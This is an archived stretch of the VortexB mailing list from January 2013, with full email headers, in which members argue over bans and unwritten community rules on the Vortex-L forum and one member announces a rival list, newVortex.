The same thing happened to Loren. =A0You have no rule against his posts but= you arbitrarily labeled him a bigot and banned him. =A0There should be &qu= ot;rule of law". =A0If somebody hasn't violated any rules, he shou= ld not be punished. Allowing the group to "make up the rules as we go&= quot; is mob rule, not rule of law. =A0By you own admission, I have not vio= lated any of your rules, and yet I am being punished and labelled a sociopa= th (which is an insult and a personal attack, by the way. =A0Hence the reas= on for my retaliating insult.)

I made the bet with Terry to try to prove that there is anarchy and mob rul= e here. =A0It seems that I have proven it.

I have no desire to be part of a group which runs on anarchy and mob rule. = Yes, mob rule, because if a number of people do not like my opinions, they = censor and insult and attack me and ban you. =A0If that is not mob rule, I = don't know what is. =A0It's communistic fascism at its finest.

I guess it's good for Lomax to have started his competing list. =A0If t= his list will not honor the "rule of rules", it does not deserve = to exist.

And why on earth should I apologize to Jed. =A0He destroys this important f= orum by his incessant gabbing and I call on him (nicely) =A0to moderate it = and he not only continues it, but increases its frequency and intensity. = =A0 I have not said anything to Jed that would be contrued as insulting.


Jojo


----- Original Message ----- From: "William Beaty" <billb@eskimo.com>
To: "Jojo Jaro" <jthao1@hotmail.com>
Sent: Friday, January 11, 2013 12:56 AM
Subject: Re: private


On Wed, 9 Jan 2013, Jojo Jaro wrote:

But to make one thing clear, you need to do something about the off-topics = posts. =A0Your new rules should make this policy clear.

My Vortex-L rules are on the site: =A0no poisonous "skeptics" wil= l be tolerated, and vortex-L is a forum about anomalous energy devices.

All other rules you've heard about were evolved by the group itself. Th= at [OT] label, that's nothing of mine, and it's enforced by the gro= up.

These are long-standing unwritten rules, "Community standards" li= ke a neighborhood rule of "no old vehicles allowed in your yard, repai= r broken windows immediately, and keep your lawn mowed." =A0Nobody kno= ws about these rules unless they move into the community and live there. = =A0(Or, you could carefully watch other vortex users, then studiously copy = their behavior.)

I guess you could say that vortex-L is a slight bit like Wikipedia: the own= er set it up, but doesn't call the shots, instead it's more like a = self-organized creature, a leaderless committee. =A0To become part of the W= P committee you have to blend yourself in, pretend to be one of them, then = live there for many years. =A0But on WP, at least the committee got togethe= r and published their unwritten rules.

On vortex they make them up as they go along, but this happened in the dist= ant past, and the invisible rules haven't changed in years. =A0 It'= s a new users' responsibility to figure out what they are. =A0We do thi= s by listening to complaints from other users, and taking them very very se= riously. =A0 Or we can just ask the other users straight out, and follow th= eir advice.

It's not just vortex which does this. =A0 All human groups everywhere h= ave invisible standards, which, if you violate them, it goes very badly for= you.


If you changed your mind about off-topic posts and want to allow it now, th= en make that clear as well. =A0A lot of confusion and problems occur becaus= e you have rules that you do not enforce. =A0If you're not going to enf= orce it, why bother making the rules. =A0This is the crux of my complaint.<= br>

Really the online community enforces it. =A0I only step in for extreme viol= ations lasting months (e.g. like Mary Hugo.) =A0If you violate community st= andards, if you have rusting hulks in your front yard, and foot-high weeds = in your lawn, then your neighbors will start sending you complaints. It'= ;s a bad mistake to argue with them, or ignore these, or to see them as unf= air attacks.

If you REALLY screw up, then even the Vortex old-timers will message you. I= f you ignore even this, the whole group will turn against you and actively = attack.

I haven't monitored vortex in detail, but I noticed you calling the gro= up a "gang of bullies." =A0This may mean that you screwed up badl= y, ignored all the escalating complaints, and already turned the whole grou= p against you.

Perhaps the big riot was actually about this, and not only about Lomax the = troll?



Also, I am using my real name.

'Real name' is the one on your taxes and on your birth certificate.= =A0But the point is, REAL IDENTITIES like any adult in a professional soci= ety. Address and phone number. =A0Employer. Website with resume.

Look at the bottom of this message for example. =A0 Or go see CMNS archive.=

=A0Just because I do not have a facebook account does not mean I'm not = real. =A0I did not join facebook for a reason.

If you are going to implement real identities, you need to implement it fai= rly and properly. =A0You need to remove Axil, Leaking Pen, Mint Candy, Reli= able and all the other Chan alter egos on the list.

Yep, they'll be gone. =A0Or, if they are college professors in danger o= f losing their jobs for discussing Rossi, I'll personally know their id= entities, and they'll be using fake names like "Dr. Emil K. Benson= , a university in New Zealand"

Not axil-axil.



Furthermore, you may think that "who started it" is irrelevant, b= ut you are wrong. =A0I wonder how you would feel if this happened to you?

It used to happen to me several times per week.

I grew up on Usenet in the early 90s. =A0No moderators, half trolls. =A0And= I was hanging out on Sci.Skeptic and Sci.Physics and SED. =A0In recent yea= rs I'm banned from few forums, but many more forums I had to leave in o= rder avoid being banned. =A0On WP I just avoided all alt-science topics, so= I had no problems there.

You need to hold the violators of this rule accountable. =A0It is not the r= esponsibility of the recipient to take it in and ignore it. =A0It is the re= sponsibility of the owner to enforce his rules.

Vortex is an unmoderated list much like Usenet Newsgroups. =A0I will remove= poisonous skeptics. =A0And I'm also the "riot police" who pu= ts a stop to any uproar which lasts more than a few weeks.

If I move vortex to local software, then it will have more channels than just vortexB. =A0 We'll be able to subscribe to just Rossi, or LENR, or= Energy Devices, or general chat. =A0Or all at once.



If you've turned the whole vortex community against you, then your best= bet is to go to that community. =A0Contact old timers such as Jed or Terry= , sincerely apologize for causing upheval. =A0Ask them for advice, then fol= low it.




(((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) ) ))))))))= )))))))))))
William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0http://staff.washington.edu/w= beaty/
beaty, chem washington edu =A0 =A0 =A0Research Engineer
billb, amasci com =A0 =A0 =A0 =A0 =A0 =A0 =A0 UW Chem Dept, =A0Bagley Hall = RM74
206-5= 43-6195=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Box 351700, Seattle, WA = 98195-1700



--047d7b10cb67a0b22704d2f357a1-- From vortexb-l-request@eskimo.com Thu Jan 10 12:31:36 2013 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id r0AKVZbi009090; Thu, 10 Jan 2013 12:31:35 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id r0AKVYTP009083; Thu, 10 Jan 2013 12:31:34 -0800 Resent-Date: Thu, 10 Jan 2013 12:31:34 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=x-received:subject:references:from:content-type:x-mailer :in-reply-to:message-id:date:to:content-transfer-encoding :mime-version; bh=0F4CmLlcGSmCZ1OMk2U3HBEVHtEIBbbiwlIZ6LJh0Ck=; b=WpwojrzN3Yxhk0mFbDMm3+zOdUPDl76d7BZZ9FIbCDHUoECNywdb9R8U7UG90bpHW2 9DupF95UKn/EFDZgevo9QtmB/aC7Cj3ZJhnv13P9oLFqtuR9vmAhxH1AnxIpIRToa2QQ mjF0scxBOrjDjC0PiJHtOMmpF+bCPA0s4tTK6M9jXKk8MlOQt8ejdxWcdea21U1enlae AePJoaKAoNecWPNIZ0sDWMAW8EPKSCvINx0PUXqBkiYU7qNVvRs2vw0UFJN7aZzqXTRl mYeoytKJJNpEpo87uOkDaQqre5cThghK7jyjoi7NhxKHAv4CsA5HUfzOoB1E1yjP/q2P I78Q== X-Received: by 10.50.214.97 with SMTP id nz1mr6813153igc.36.1357849894743; Thu, 10 Jan 2013 12:31:34 -0800 (PST) Subject: Re: [VoB]:Re: private References: From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9B179) In-Reply-To: Message-Id: <1F1C740E-1DF1-4A4B-810D-767BBF945C0D@gmail.com> Date: Thu, 10 Jan 2013 15:31:15 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4679 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: A X-Keywords: X-UID: 920 I never understood this hypocrisy argument.=20 It's Beatty's list, not a government. He doesn't have to act according to pu= blished laws, objectively, or fairly.=20 We are all his guests.=20 Sent from my iPhone=20 On Jan 10, 2013, at 13:13, Jojo Jaro wrote: > You are full of bullshit. I was attacked here first by reprehensible beha= vior by bullies you allow. Now, I retaliate and I'm the sociopath? Investig= ate my history of posting here and you will see who started it. I dare you,= double dare you to find where I started an attack against anybody. >=20 > This started when I posted on the fallacies of Darwinian Evolution. Attac= ks came shortly after that and it was relentless. I went for a while withou= t retaliating, but like I said, enough is enough. What have I done to deser= ve all the attacks except that I expressed my own personal belief. By your o= wn admission, you have no rule against me posting on Darwinian Evolution, so= where is your justification for the incessant attacks against me? >=20 > Oh, but you say, it is my fault for retaliating. Bullcrap. I wonder how y= ou would feel if people insulted you day in and day out for what you stand f= or. Why aren't the people who started it being held accountable? I guess I= should not expect you to be fair and objective. You are part of the proble= m. >=20 > The same thing happened to Loren. You have no rule against his posts but y= ou arbitrarily labeled him a bigot and banned him. There should be "rule of= law". If somebody hasn't violated any rules, he should not be punished. Al= lowing the group to "make up the rules as we go" is mob rule, not rule of la= w. By you own admission, I have not violated any of your rules, and yet I a= m being punished and labelled a sociopath (which is an insult and a personal= attack, by the way. Hence the reason for my retaliating insult.) >=20 > I made the bet with Terry to try to prove that there is anarchy and mob ru= le here. It seems that I have proven it. >=20 > I have no desire to be part of a group which runs on anarchy and mob rule.= Yes, mob rule, because if a number of people do not like my opinions, they c= ensor and insult and attack me and ban you. If that is not mob rule, I don'= t know what is. It's communistic fascism at its finest. >=20 > I guess it's good for Lomax to have started his competing list. If this l= ist will not honor the "rule of rules", it does not deserve to exist. >=20 > And why on earth should I apologize to Jed. He destroys this important fo= rum by his incessant gabbing and I call on him (nicely) to moderate it and h= e not only continues it, but increases its frequency and intensity. I have= not said anything to Jed that would be contrued as insulting. >=20 >=20 >=20 > Jojo >=20 >=20 > ----- Original Message ----- From: "William Beaty" > To: "Jojo Jaro" > Sent: Friday, January 11, 2013 12:56 AM > Subject: Re: private >=20 >=20 >> On Wed, 9 Jan 2013, Jojo Jaro wrote: >>=20 >>> But to make one thing clear, you need to do something about the off-topi= cs posts. Your new rules should make this policy clear. >>=20 >> My Vortex-L rules are on the site: no poisonous "skeptics" will be toler= ated, and vortex-L is a forum about anomalous energy devices. >>=20 >> All other rules you've heard about were evolved by the group itself. That= [OT] label, that's nothing of mine, and it's enforced by the group. >>=20 >> These are long-standing unwritten rules, "Community standards" like a nei= ghborhood rule of "no old vehicles allowed in your yard, repair broken windo= ws immediately, and keep your lawn mowed." Nobody knows about these rules u= nless they move into the community and live there. (Or, you could carefully= watch other vortex users, then studiously copy their behavior.) >>=20 >> I guess you could say that vortex-L is a slight bit like Wikipedia: the o= wner set it up, but doesn't call the shots, instead it's more like a self-or= ganized creature, a leaderless committee. To become part of the WP committe= e you have to blend yourself in, pretend to be one of them, then live there f= or many years. But on WP, at least the committee got together and published= their unwritten rules. >>=20 >> On vortex they make them up as they go along, but this happened in the di= stant past, and the invisible rules haven't changed in years. It's a new u= sers' responsibility to figure out what they are. We do this by listening t= o complaints from other users, and taking them very very seriously. Or we c= an just ask the other users straight out, and follow their advice. >>=20 >> It's not just vortex which does this. All human groups everywhere have i= nvisible standards, which, if you violate them, it goes very badly for you. >>=20 >>=20 >>> If you changed your mind about off-topic posts and want to allow it now,= then make that clear as well. A lot of confusion and problems occur becaus= e you have rules that you do not enforce. If you're not going to enforce it= , why bother making the rules. This is the crux of my complaint. >>=20 >> Really the online community enforces it. I only step in for extreme viol= ations lasting months (e.g. like Mary Hugo.) If you violate community stand= ards, if you have rusting hulks in your front yard, and foot-high weeds in y= our lawn, then your neighbors will start sending you complaints. It's a bad m= istake to argue with them, or ignore these, or to see them as unfair attacks= . >>=20 >> If you REALLY screw up, then even the Vortex old-timers will message you.= If you ignore even this, the whole group will turn against you and actively= attack. >>=20 >> I haven't monitored vortex in detail, but I noticed you calling the group= a "gang of bullies." This may mean that you screwed up badly, ignored all t= he escalating complaints, and already turned the whole group against you. >>=20 >> Perhaps the big riot was actually about this, and not only about Lomax th= e troll? >>=20 >>=20 >>>=20 >>> Also, I am using my real name. >>=20 >> 'Real name' is the one on your taxes and on your birth certificate. But t= he point is, REAL IDENTITIES like any adult in a professional society. Addre= ss and phone number. Employer. Website with resume. >>=20 >> Look at the bottom of this message for example. Or go see CMNS archive.= >>=20 >>> Just because I do not have a facebook account does not mean I'm not real= . I did not join facebook for a reason. >>>=20 >>> If you are going to implement real identities, you need to implement it f= airly and properly. You need to remove Axil, Leaking Pen, Mint Candy, Relia= ble and all the other Chan alter egos on the list. >>=20 >> Yep, they'll be gone. Or, if they are college professors in danger of lo= sing their jobs for discussing Rossi, I'll personally know their identities,= and they'll be using fake names like "Dr. Emil K. Benson, a university in N= ew Zealand" >>=20 >> Not axil-axil. >>=20 >>=20 >>>=20 >>> Furthermore, you may think that "who started it" is irrelevant, but you a= re wrong. I wonder how you would feel if this happened to you? >>=20 >> It used to happen to me several times per week. >>=20 >> I grew up on Usenet in the early 90s. No moderators, half trolls. And I= was hanging out on Sci.Skeptic and Sci.Physics and SED. In recent years I'= m banned from few forums, but many more forums I had to leave in order avoid= being banned. On WP I just avoided all alt-science topics, so I had no pro= blems there. >>=20 >>> You need to hold the violators of this rule accountable. It is not the r= esponsibility of the recipient to take it in and ignore it. It is the respo= nsibility of the owner to enforce his rules. >>=20 >> Vortex is an unmoderated list much like Usenet Newsgroups. I will remove= poisonous skeptics. And I'm also the "riot police" who puts a stop to any u= proar which lasts more than a few weeks. >>=20 >> If I move vortex to local software, then it will have more channels than >> just vortexB. We'll be able to subscribe to just Rossi, or LENR, or Ene= rgy Devices, or general chat. Or all at once. >>=20 >>=20 >>=20 >> If you've turned the whole vortex community against you, then your best b= et is to go to that community. Contact old timers such as Jed or Terry, sin= cerely apologize for causing upheval. Ask them for advice, then follow it. >>=20 >>=20 >>=20 >>=20 >> (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) >> William J. Beaty http://staff.washington.edu/wbeaty/ >> beaty, chem washington edu Research Engineer >> billb, amasci com UW Chem Dept, Bagley Hall RM74 >> 206-543-6195 Box 351700, Seattle, WA 98195-1700 >=20 From vortexb-l-request@eskimo.com Thu Jan 10 17:14:36 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0B1EZ5q030835; Thu, 10 Jan 2013 17:14:35 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0B1EYhg030828; Thu, 10 Jan 2013 17:14:34 -0800 Resent-Date: Thu, 10 Jan 2013 17:14:34 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> Old-X-Envelope-From: abd@lomaxdesign.com Old-X-Envelope-To: vortexb-l@eskimo.com X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 Date: Thu, 10 Jan 2013 20:17:45 -0500 To: vortexb-l@eskimo.com From: Abd ul-Rahman Lomax Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - titan.mdswireless.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - lomaxdesign.com X-Get-Message-Sender-Via: titan.mdswireless.com: authenticated_id: abd@lomaxdesign.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4680 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:newVortex Status: RO X-Status: X-Keywords: X-UID: 921 Okay, Village of the Damned, listen up! I expect this to be my only post to VortexB. I do not participate in fora where there is no person who takes responsibility for the safety of the space. I do not engage in useless flame wars, I *leave them*, unless there is a critical interest to defend. I have no critical interest here. Nor, for that matter, do I any more have a critical interest to defend on Vortex. I was subscribed here without my permission, and Bill knows that. The unsubscription process does not work for me, but eventually, that will be fixed -- or I'll be complaining to eskimo. The *only reason* I'm posting this is to inform vortexB members of newVortex, and of my intentions there. When it became apparent that nobody was mniding the store at Vortex, I started a new mailing list, and a number of Vortex members thought that we could do this better. Bill has blamed the mess on Vortex on two members, but, in fact, it was his absence and the lack of any response to multiple queries by email and by phone, that made a minor problem, that could have been handled in a few minutes, into a big mess. Bill has a theory regarding "trolls," with what he thinks is the only sane response, DNFTT. However, Bill is a "flamer," he's acknowledged that. Flamers are often called trolls, hence his confusion. DNFTT *does not work with trolls,* unless it is a weak and ineffective troll. A real troll will simply escalate, through whatever means are available, until the community -- or the target -- starts responding. Bill has claimed that, in the good old days -- 1994 -- the community would ignore a troll for months and then eventually he'd ban the fellow. That wasn't happening, of course, with the recent mess, and it hadn't been happening as long as I'd been on Vortex (since 2009). *Plenty* of the community was responding. I have a suspicion that Bill's memory is defective, that the good old days never were. Yes, there are people who are ignored. Trolls and others. Bill's sentiments are anachronistic. Bill had rules (such as "no sneering"). They were ignored, and, looking back, they had been ignored for a long time. This didn't just happen in December. Nobody was watching, but maybe nobody complained. Okay, an *owner* doesn't need to always be watching, but an owner has the responsibility to be responsive to complaints. And if the owner cannot handle them himself, he has the responsibility to find someone who can. In any case, contrary to what Bill has stated, the problem was the lack of responsive moderators. So we have fixed that. http://tech.groups.yahoo.com/group/newvortex/ We have gained, in a few days, with little publicity, 23 subscribers and three moderators. The present moderators are Abd Lomax Steven Johnson David Roberson The list is set so that the default is "unmoderated" for all members, except new subscriptions start as "moderated," so first posts must usually be approved. (When I see a subscription address known to me from Vortex as a regular member, I generally take them off moderation immediately.) Any moderator can approve posts, and any moderator can take members off of or put members on moderation. We have a separate mailing list to be used for moderator discussion, if needed. I have asked the moderators not to ban anyone (Other than spammers), unless the person has been (1) warned and (2) when on moderation, deluged the moderators with unacceptable posts. All bans will be discussed and a matter of consensus. (If there is any moderator willing to moderate a member's posts, there is no need to ban the member; email filters can be used so that other moderators, not willing, don't have to see them.) Hence my post to this list. Some subscribers here have apparently been banned from posting to Vortex. We are not going to judge that. The rules for newVortex, initially, are the same rules as for Vortex. However, because we don't normally ban, and because Vortex was actually started as a kind of skeptic-free zone, a possible difference is that we will not exclude skeptics, and not even pseudoskeptics. But we will insist on "no sneering" and on civil discussion. I do not consider moderation to be "punitive." It can be and should be supportive. You are all welcome to join newVortex. Mary Yugo already subscribed -- I saw the subscription and wrote to "her." I saw no reason to expect a problem, and removed moderation. If there is a problem, well, moderation can come back. I expect ultimately to have more moderators. It's an easy job, usually, there are only occasionally some difficult decisions, and we will discuss those. The point of having many moderators is to have different points of view represented, in addition to making the burden on individuals small. I have started newVortex as a volunteer trustee for the Vortex community. We will have at least one other owner. This was originally offered to Bill (when newVortex was announced on Vortex, before Bill shut Vortex down). Now, given Bill's further comments, I'd want to discuss it. It's still possible. If anyone was following the events leading up to the shutdown, David Roberson had convinced the "other fellow" to stop certain kinds of activity. I have no idea if that would have held. Nevertheless, that kind of effort, to obtain voluntary cooperation, led me to offer moderation to David. After some thought, he accepted. Okay, final words. I might not see responses here. As with vortex, anyone may write to me personally. From vortexb-l-request@eskimo.com Thu Jan 10 18:18:39 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0B2IWua010468; Thu, 10 Jan 2013 18:18:32 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0B2IOm5010435; Thu, 10 Jan 2013 18:18:24 -0800 Resent-Date: Thu, 10 Jan 2013 18:18:24 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-EIP: [CQj3l0Qrvvyx+sMTj1g+pKF5wp67I8cL] X-Originating-Email: [jthao1@hotmail.com] Message-ID: From: Jojo Jaro To: References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> Subject: Re: [VoB]:newVortex Date: Fri, 11 Jan 2013 10:18:27 +0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6090 X-OriginalArrivalTime: 11 Jan 2013 02:18:23.0448 (UTC) FILETIME=[EE8B1D80:01CDEFA1] Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4681 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 922 Good luck with your list, my friend. Maybe now, off-topic posts will get diverted to your list instead of jamming up Vortex-L. You should have devoted much of your energy to this instead of your endless spins and tiresome long essays. It would have solved the problem before it happened. I can see that Jed was up to his usual thing of posting off-topic posts again. Maybe you can convince Jed to move to your list and leave the science in Vortex-L. While you're at it, convince Peter Gluck and Frank Znidarsic to also go to your list with their tactless self promotion of their blog and books in Vortex-L. Also, why is it that even in the end, you still find the need to spin and lie. David did not convince me to "stop certain kinds of activity." He convinced me to stop, period. And stop I did. Why do you have to spin the truth with comments like "I have no idea if that would have held." Of course it held. I stopped responding to you for 24 hours despite your continued insults. Why do you find it necessary to even attempt a spin of this truth? What purpose does this spin serve you? even now? Why do you have this compulsive need to spin things with guile? Jojo ----- Original Message ----- From: "Abd ul-Rahman Lomax" To: Sent: Friday, January 11, 2013 9:17 AM Subject: [VoB]:newVortex > Okay, Village of the Damned, listen up! > > I expect this to be my only post to VortexB. I do not participate in fora > where there is no person who takes responsibility for the safety of the > space. I do not engage in useless flame wars, I *leave them*, unless there > is a critical interest to defend. I have no critical interest here. Nor, > for that matter, do I any more have a critical interest to defend on > Vortex. > > I was subscribed here without my permission, and Bill knows that. The > unsubscription process does not work for me, but eventually, that will be > fixed -- or I'll be complaining to eskimo. > > The *only reason* I'm posting this is to inform vortexB members of > newVortex, and of my intentions there. When it became apparent that nobody > was mniding the store at Vortex, I started a new mailing list, and a > number of Vortex members thought that we could do this better. Bill has > blamed the mess on Vortex on two members, but, in fact, it was his absence > and the lack of any response to multiple queries by email and by phone, > that made a minor problem, that could have been handled in a few minutes, > into a big mess. > > Bill has a theory regarding "trolls," with what he thinks is the only sane > response, DNFTT. However, Bill is a "flamer," he's acknowledged that. > Flamers are often called trolls, hence his confusion. DNFTT *does not work > with trolls,* unless it is a weak and ineffective troll. A real troll will > simply escalate, through whatever means are available, until the > community -- or the target -- starts responding. > > Bill has claimed that, in the good old days -- 1994 -- the community would > ignore a troll for months and then eventually he'd ban the fellow. That > wasn't happening, of course, with the recent mess, and it hadn't been > happening as long as I'd been on Vortex (since 2009). *Plenty* of the > community was responding. > > I have a suspicion that Bill's memory is defective, that the good old days > never were. Yes, there are people who are ignored. Trolls and others. > > Bill's sentiments are anachronistic. Bill had rules (such as "no > sneering"). They were ignored, and, looking back, they had been ignored > for a long time. This didn't just happen in December. Nobody was watching, > but maybe nobody complained. > > Okay, an *owner* doesn't need to always be watching, but an owner has the > responsibility to be responsive to complaints. And if the owner cannot > handle them himself, he has the responsibility to find someone who can. In > any case, contrary to what Bill has stated, the problem was the lack of > responsive moderators. So we have fixed that. > > http://tech.groups.yahoo.com/group/newvortex/ > > We have gained, in a few days, with little publicity, 23 subscribers and > three moderators. The present moderators are > > Abd Lomax > Steven Johnson > David Roberson > > The list is set so that the default is "unmoderated" for all members, > except new subscriptions start as "moderated," so first posts must usually > be approved. (When I see a subscription address known to me from Vortex as > a regular member, I generally take them off moderation immediately.) > > Any moderator can approve posts, and any moderator can take members off of > or put members on moderation. We have a separate mailing list to be used > for moderator discussion, if needed. I have asked the moderators not to > ban anyone (Other than spammers), unless the person has been (1) warned > and (2) when on moderation, deluged the moderators with unacceptable > posts. All bans will be discussed and a matter of consensus. (If there is > any moderator willing to moderate a member's posts, there is no need to > ban the member; email filters can be used so that other moderators, not > willing, don't have to see them.) > > Hence my post to this list. Some subscribers here have apparently been > banned from posting to Vortex. We are not going to judge that. > > The rules for newVortex, initially, are the same rules as for Vortex. > However, because we don't normally ban, and because Vortex was actually > started as a kind of skeptic-free zone, a possible difference is that we > will not exclude skeptics, and not even pseudoskeptics. But we will insist > on "no sneering" and on civil discussion. I do not consider moderation to > be "punitive." It can be and should be supportive. > > You are all welcome to join newVortex. Mary Yugo already subscribed -- I > saw the subscription and wrote to "her." I saw no reason to expect a > problem, and removed moderation. If there is a problem, well, moderation > can come back. I expect ultimately to have more moderators. It's an easy > job, usually, there are only occasionally some difficult decisions, and we > will discuss those. The point of having many moderators is to have > different points of view represented, in addition to making the burden on > individuals small. > > I have started newVortex as a volunteer trustee for the Vortex community. > We will have at least one other owner. This was originally offered to Bill > (when newVortex was announced on Vortex, before Bill shut Vortex down). > Now, given Bill's further comments, I'd want to discuss it. It's still > possible. > > If anyone was following the events leading up to the shutdown, David > Roberson had convinced the "other fellow" to stop certain kinds of > activity. I have no idea if that would have held. Nevertheless, that kind > of effort, to obtain voluntary cooperation, led me to offer moderation to > David. After some thought, he accepted. > > Okay, final words. I might not see responses here. As with vortex, anyone > may write to me personally. > > From vortexb-l-request@eskimo.com Thu Jan 10 21:32:19 2013 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id r0B5WAMf026086; Thu, 10 Jan 2013 21:32:10 -0800 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id r0B5W4mj026069; Thu, 10 Jan 2013 21:32:04 -0800 Resent-Date: Thu, 10 Jan 2013 21:32:04 -0800 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Thu, 10 Jan 2013 21:32:00 -0800 (PST) From: William Beaty To: "vortexb-l@eskimo.com" Subject: Re: [VoB]:Re: private In-Reply-To: <1F1C740E-1DF1-4A4B-810D-767BBF945C0D@gmail.com> Message-ID: References: <1F1C740E-1DF1-4A4B-810D-767BBF945C0D@gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4682 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 923 On Thu, 10 Jan 2013, Charles Hope wrote: > I never understood this hypocrisy argument. "Troll logic" it's a thing. > > It's Beatty's list, not a government. He doesn't have to act according > to published laws, objectively, or fairly. It's also an online community. When you move into a decent neighborhood, there are no huge signs saying "keep your lawn mowed, no rusting hulks allowed, and repair broken windows immediately." Those who violate community standards will receive escalating complaints from neighbors. If the guy with the weed-filled yard and the rusting chevy collection decides to play the innocent victim, and ignore the complaints "from a gang of bullies," the outcome won't be good. And as for fighting with trolls online, most of us don't have big warning signs in our homes saying NO SHITTING IN THE KITCHEN SINK. Astoundingly, some people need such signs, and they will play the role of the unfairly injured party if you catch them heading toward your kitchen with no pants and a roll of toilet paper. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Fri Jan 11 16:03:32 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0C03VkZ008684; Fri, 11 Jan 2013 16:03:31 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0C03T4m008674; Fri, 11 Jan 2013 16:03:29 -0800 Resent-Date: Fri, 11 Jan 2013 16:03:29 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=highsurf.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:In-Reply-To:References:To:From; bh=Dxx1bX4fu5GOofjm1EppulMnBvdnHN2JVn+hTEip3E4=; b=f2zZIvm1+HfOKywz67HebC1DqeEXfCtFxkzAoOA1aUjdU8dRDqGtg8Kq14DP9f6NnfYpOoAD1gLm1GjlfBf0HUVxY0gvC3x6LK1AO/bb7xR/pmUzw2BKExm1qAQvAIi4; From: "Rick Monteverde" To: References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> In-Reply-To: Subject: RE: [VoB]:newVortex Date: Fri, 11 Jan 2013 14:03:31 -1000 Message-ID: <006301cdf058$43085420$c918fc60$@com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac3vohf/NsQd0MHAQimqiLB9iNiDdQAtU8Zg Content-Language: en-us X-Identified-User: {3341:just107.justhost.com:highsur1:highsurf.com} {sentby:smtp auth 66.162.245.162 authed with rick+highsurf.com} Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4683 X-Loop: vortexb-l@eskimo.com 